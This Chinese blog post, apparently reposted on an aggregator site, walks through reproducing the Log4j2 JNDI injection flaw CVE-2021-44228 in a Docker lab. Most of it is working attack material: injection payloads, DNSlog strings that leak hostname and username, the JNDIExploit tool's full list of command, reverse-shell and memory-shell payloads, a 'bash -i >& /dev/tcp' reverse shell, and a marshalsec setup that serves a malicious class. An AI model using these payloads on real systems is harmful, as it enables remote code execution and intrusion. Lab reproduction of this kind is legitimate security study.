复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

这篇具有很好参考价值的文章主要介绍了复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

目录

前言

漏洞原理

影响范围

环境搭建&漏洞复现

使用工具JNDIExploit-1.2-SNAPSHOT.jar


前言

近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架, 被广泛地应用在中间件、开发框架与Web应用中。 2021年11月24日,阿里云安全团队向apache官方报告了这一漏洞其存在远程命令执行漏洞。

漏洞原理

由于Apache Log4j2某些功能存在递归解析功能,可直接被恶意攻击者构造恶意请求,受影响的应用包括 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。 只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

影响范围

Apache Log4j2 version < Apache Log4j2 2.15.0-rc2

环境搭建&漏洞复现

使用docker直接拉即可

sudo docker pull vulfocus/log4j2-rce-2021-12-09

sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09

启动环境之后可以使用浏览器访问

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

注入测试参数payload=${jndi:ldap://7mjkro.dnslog.cn/exp}

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

利用DNSlog还可以实现查看主机名、用户
${jndi:ldap://${env:HOSTNAME}.66ylcg.dnslog.cn/exp}

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

${jndi:dns://${sys:user.name}.swr800.dnslog.cn}

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

使用工具JNDIExploit-1.2-SNAPSHOT.jar

参考说明:https://github.com/Jeromeyoung/JNDIExploit-1
使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数
使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式
PS C:\Users\JieteWang\Desktop\Log4j-exp\poc> java -jar .\JNDIExploit-1.2-SNAPSHOT.jar -u
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://null:1389/Basic/Dnslog/[domain]
    ldap://null:1389/Basic/Command/[cmd]
    ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/Basic/TomcatEcho
    ldap://null:1389/Basic/SpringEcho
    ldap://null:1389/Basic/WeblogicEcho
    ldap://null:1389/Basic/TomcatMemshell1
    ldap://null:1389/Basic/TomcatMemshell2  ---need extra header [shell: true]
    ldap://null:1389/Basic/JettyMemshell
    ldap://null:1389/Basic/WeblogicMemshell1
    ldap://null:1389/Basic/WeblogicMemshell2
    ldap://null:1389/Basic/JBossMemshell
    ldap://null:1389/Basic/WebsphereMemshell
    ldap://null:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://null:1389/Deserialization/URLDNS/[domain]
    ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://null:1389/Deserialization/C3P0/SpringEcho
    ldap://null:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://null:1389/Deserialization/Jre8u20/TomcatMemshell
    ldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells
[+] TomcatBypass Queries
    ldap://null:1389/TomcatBypass/Dnslog/[domain]
    ldap://null:1389/TomcatBypass/Command/[cmd]
    ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/TomcatBypass/TomcatEcho
    ldap://null:1389/TomcatBypass/SpringEcho
    ldap://null:1389/TomcatBypass/TomcatMemshell1
    ldap://null:1389/TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]
    ldap://null:1389/TomcatBypass/SpringMemshell
[+] GroovyBypass Queries
    ldap://null:1389/GroovyBypass/Command/[cmd]
    ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
    ldap://null:1389/WebsphereBypass/List/file=[file or directory]
    ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://null:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

java -jar .\JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.101.21 

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

试了很多LDAP格式都未成功,特别是使用Dnslog的时候
${jndi: ldap://192.168.101.21:1389/TomcatBypass/Command/Base64/dG91Y2ggL3RtcC90ZXN0}, dG91Y2ggL3RtcC90ZXN0是命令【touch /tmp/test】创建一个名叫test的文件

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞文章来源地址https://www.toymoban.com/news/detail-448412.html

0x01反弹shell
${jndi: ldap://192.168.101.21:1389/TomcatBypass/Command/Base64/bash -i >& /dev/tcp/192.168.163.129/9990 0>&1}
0x02反弹shell
试了两种方法,都是失败了,怀疑是jdk版本的问题。。。。。。
测试方法如下
使用./src/ExecTemplateJDK7.java 修改里面的host和port为要反弹的地址(如果是linux,使用./src/linux.java就行了,其实就是cmd.exe改成/bin/bash)
然后javac ExecTemplateJDK7.java,生成ExecTemplateJDK7.class
复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞
然后在kali上开http服务`python3 -m http.server 9092`,以及监听端口`nc -l 9091`
复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞
然后同样在kali上 `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.10.10.10:9092/#ExecTemplateJDK7 1389`
复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞
最后${jndi: ldap://192.168.163.128:1389 }
复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞
效果是jdni上收到请求消息
Send LDAP reference result for dd redirecting to http://192.168.163.128:9092/ExecTemplateJDK7.class
复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞
导致一步之前都没得问题,这一步之后就不行了。 httpserver请求 `[10/Dec/2021 10:04:39] "GET /ExecTemplateJDK7.class HTTP/1.1" 200`
复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

到了这里,关于复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码 环境:vulhub 工具下载地址: ysoserial 利用工具生成payload: 1.创建文件 进入容器内部,查看文件创建成功 2.查看反弹的shell 有点

    2024年02月11日
    浏览(35)
  • Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

    2.15.0之前版漏洞相关文章 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法) Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理 2.15.

    2024年02月07日
    浏览(41)
  • CVE-2021-44228 Apache log4j 远程命令执行漏洞

    一、漏洞原理 log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,

    2024年02月08日
    浏览(39)
  • log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    啥是log4j2? log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。 啥是JNDI? 由

    2024年02月06日
    浏览(76)
  • log4j2漏洞原理和漏洞环境搭建复现

    目录 1.背景 1.1影响版本 2.漏洞原理 2.1JNDI是什么 2.2LDAP是什么 2.3JNDI注入原因 2.4 log4j2是什么 3.漏洞复现 3.1准备工作 3.1.1准备恶意代码 3.1.2将恶意代码放到网站目录下 3.1.3 LDAP服务器端 3.1.4客户端搭建 3.1.5 执行代码  4.注意事项 部分资源在文章最后百度网盘 2021年11月24日,阿里

    2024年02月05日
    浏览(29)
  • Log4j2 反序列化漏洞与复现

    Log4j → Log for Java ,Apache的开源日志记录组件 JDK →1.8u21以下的版本 CVE-2021-44228 远程代码执行 →2.15.0修复 CVE-2021-45046 拒绝服务Dos →2.16.0修复 CVE-2021-45105 拒绝服务Dos →2.17.0修复 CVE-2021-44832 远程代码执行 →2.17.1修复 Log4j为了输出日志时能输出任意位置的Java对象,引入了Looku

    2024年02月05日
    浏览(39)
  • Java代码审计15之Apache log4j2漏洞

    2.1、高版本测试 先说结论,ldap协议, rmi协议 还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ” 2.2、测试代码 先引入组件, main.java jndiexp.java 2.3、补充之dns探测 2.3.1、rmi、ldap也可以dnslog探测 在使用dnslog探测漏洞的时候, 其实不仅仅dns协议可以,ldap和rmi协议也可以, 类似的rmi,

    2024年02月10日
    浏览(31)
  • log4j2漏洞分析

    和前面的JNDI注入时用的代码差不多 如果要引入log4j2的jar包可以这么配置Maven的pom.xml 还要创建个配置文件 log4j2这个漏洞当时爆出来的时候堪称是核弹级别的,危害非常大,利用还非常简单,既然如此,那我们肯定要分析一下漏洞相关的原理来学习一下 这个漏洞是个JNDI注入漏

    2024年02月09日
    浏览(38)
  • Log4j2的Configuration详解

    官方配置文档: https://logging.apache.org/log4j/2.x/manual/filters.html 根节点 Configuration 参数介绍: Attribute Name Description name The name of the configuration. monitorInterval Log4j has the ability to automatically detect changes to the configuration file and reconfigure itself。 即动态加载,单位是秒。可自定义配置,最小

    2023年04月09日
    浏览(29)
  • 【springboot】--集成log4j2日志功能

    springboot2.0版本默认集成logback日志框架,由于项目业务采集各种日志(系统日志、接口调用日志、业务日志)等,需要做一些定制化的业务。为了,这里介绍如何集成log4j2,按照规格输出日志,另外按照要求输出成文件。下面将具体介绍! pom引入

    2024年02月12日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包